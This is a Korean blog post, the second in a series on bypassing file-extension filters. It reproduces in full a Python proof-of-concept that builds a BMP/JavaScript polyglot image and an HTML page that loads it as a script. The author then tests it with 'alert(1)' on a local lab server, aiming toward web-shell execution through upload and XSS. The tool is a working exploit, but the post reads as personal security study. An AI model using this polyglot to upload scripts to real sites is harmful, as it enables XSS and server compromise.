리눅스의 echo 이용해 hexa code를 넣는 것도 좋지만
생각해보면 그냥 그림판에서 bmp 제작해도 똑같은 헥사를 얻고
전 #1(https://chanztudio.tistory.com/31)에서 해당 스크립트 삽입시 어디 위치로 삽입 되는지
확인했으니 이제는 귀찮지 않게 그림판으로 해당 그림파일 제작 후 스크립트 삽입하려고한다.
일단 구글링으로 좀더 검색해보니 bmp에 스크립트를 삽입하는 파이썬 코드가 있어서
이를 훔쳐서 일단 넣어보기로 했다.
-
#!/usr/bin/env python2
-
#============================================================================================================#
-
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
-
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
-
#======= Author: marcoramilli.blogspot.com ==================================================================#
-
#======= Version: PoC (don't even think to use it in development env.) ======================================#
-
#======= Disclaimer: ========================================================================================#
-
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
-
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
-
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
-
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
-
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-
#POSSIBILITY OF SUCH DAMAGE.
-
#===========================================================================================================#
-
import argparse
-
import os
-
-
#---------------------------------------------------------
-
def _hexify(num):
-
"""
-
Converts and formats to hexadecimal
-
"""
-
num = "%x" % num
-
if len(num) % 2:
-
num = '0'+num
-
return num.decode('hex')
-
-
#---------------------------------------------------------
-
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
-
#;alert(_0xe428[0]);"
-
def _generate_and_write_to_file(payload, fname):
-
"""
-
Generates a fake but valid BMP within scriting
-
"""
-
f = open(fname, "wb")
-
header = (b'\x42\x4D' #Signature BM
-
b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
-
b'\x00\x00\x00\x00' #Reserved
-
b'\x00\x00\x00\x00' #bitmap data offset
-
b''+ _hexify( len(payload) ) + #bitmap header size
-
b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
-
b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
-
b'\x00\x00' #nb_plan
-
b'\x00\x00' #nb per pixel
-
b'\x00\x10\x00\x00' #compression type
-
b'\x00\x00\x00\x00' #image size .. its ignored
-
b'\x00\x00\x00\x01' #Horizontal resolution
-
b'\x00\x00\x00\x01' #Vertial resolution
-
b'\x00\x00\x00\x00' #number of colors
-
b'\x00\x00\x00\x00' #number important colors
-
b'\x00\x00\x00\x80' #palet colors to be complient
-
b'\x00\x80\xff\x80' #palet colors to be complient
-
b'\x80\x00\xff\x2A' #palet colors to be complient
-
b'\x2F\x3D\x31\x3B' #*/=1;
-
)
-
# I made this explicit, step by step .
-
f.write(header)
-
f.write(payload)
-
f.close()
-
return True
-
-
#---------------------------------------------------------
-
def _generate_launching_page(f):
-
"""
-
Creates the HTML launching page
-
"""
-
-
htmlpage ="""
-
<html>
-
<head><title>Opening an image</title> </head>
-
<body>
-
<img src=\"""" + f + """\"\>
-
<script src= \"""" + f + """\"> </script>
-
</body>
-
</html>
-
"""
-
html = open("run.html", "wb")
-
html.write(htmlpage);
-
html.close()
-
return True
-
-
#---------------------------------------------------------
-
def _inject_into_file(payload, fname):
-
"""
-
Injects the payload into existing BMP
-
NOTE: if the BMP contains \xFF\x2A might caouse issues
-
"""
-
# I know, I can do it all in memory and much more fast.
-
# I wont do it here.
-
f = open(fname, "r+b")
-
b = f.read()
-
b.replace(b'\x2A\x2F',b'\x00\x00')
-
f.close()
-
-
f = open(fname, "w+b")
-
f.write(b)
-
f.seek(2,0)
-
f.write(b'\x2F\x2A')
-
f.close()
-
-
f = open(fname, "a+b")
-
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
-
f.write(payload)
-
f.close()
-
return True
-
-
-
#---------------------------------------------------------
-
if __name__ == "__main__":
-
parser = argparse.ArgumentParser()
-
parser.add_argument("filename",help="the bmp file name to be generated/or infected")
-
parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
-
parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
-
args = parser.parse_args()
-
print("""
-
|======================================================================================================|
-
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
-
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
-
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
-
|======================================================================================================|
-
""")
-
if args.inject_to_existing_bmp:
-
_inject_into_file(args.js_payload, args.filename)
-
else:
-
_generate_and_write_to_file(args.js_payload, args.filename)
-
-
_generate_launching_page(args.filename)
-
print "[+] Finished!"
(출처: https://pastebin.com/04y7ee3u)
일단 그림판으로 bmp확장자 하나랑 .py 확장자로 위 스크립트 제작 후
python27을 통해 일단 스크립트를 넣어보았다.
일단 기본형부터 작성해서 테스트하기 위해 1번 파일로 하나더 만들어 두고
실행 명령어를 입력하자 명령어는 아래와 같다.
python bmp_injection.py -i bmpheader.bmp "alert(1);;"
좀깨지긴해도 finished 뜨면서 완성된거 같다.
그리고 보면 run.html이 생성된것을 확인할 수 있는데
해당파일이 실행되며 사진으로 나오는걸 확인할 수 있다.
그런데 문제는 서버에 업로드해 작동하면 작동이 안된다. (두둥)
그래서 일단 run.html을 뜯어보기로 하였다.
두둥... XSS가 되어야만 이것이 되는건가?
뭐 어쨋든 좋다. XSS는 어떻게든 하면되니까 일단 중요한건 웹셸 구문이 실행되는거니까
이후는 이후에 생각하기로하고 일단 이 구문을 넣어서 해보기로 햇다.
해당 서버에 디렉터리 경로는 아니까 이를 이용하도록 해보자
일단 해당 디렉터리를 보아하니 해당 글의 주소는 아래와 같다고 생각된다.
http://192.168.0.18/board/upload/bmpheader1.bmp
그러면 자유게시판에 스크립트 작동하는지 먼저 확인해보면 스크립트도 실행된다.
그러면 아까 run.html에 보였던 스크립트를 해당 주소로 옮겨서 다시 작성해보자
하지만 안된다.. 왜 저 run은 되는걸까..
이와중에 이상한게 있다. 처음엔 인식이 안되는데 F12클릭후 해당 소스를 더블클릭하면 생긴다.
그리고 우연히 찾은건데 낮은버전 IE에서는 그냥 바로 보인다.
그럼 예상되는건 한가지 IE에서 스크립트를 막는거 같다.
하지만 더중요한건... 왜 낮은버전 IE에서 스크립트 실행이 안될까이다.
일단은 아이디어가 더이상 안나니 #2는 여기서 마무리하고 다시 #3에서 적어야겠다.
'IT > ISSUE' 카테고리의 다른 글
소스코드 진단하기 #2 젠킨스 (0) | 2019.11.22 |
---|---|
소스코드 진단하기 #1 이클립스 (0) | 2019.11.21 |
매직넘버를 이용한 파일 확장자 우회 #1 (0) | 2019.11.21 |
안전해야할 백신에 취약점이? Avast XSS 취약점 (0) | 2019.11.19 |
디스코드때문에 내 컴퓨터에 해커가? CDN 취약점 (3) | 2019.11.04 |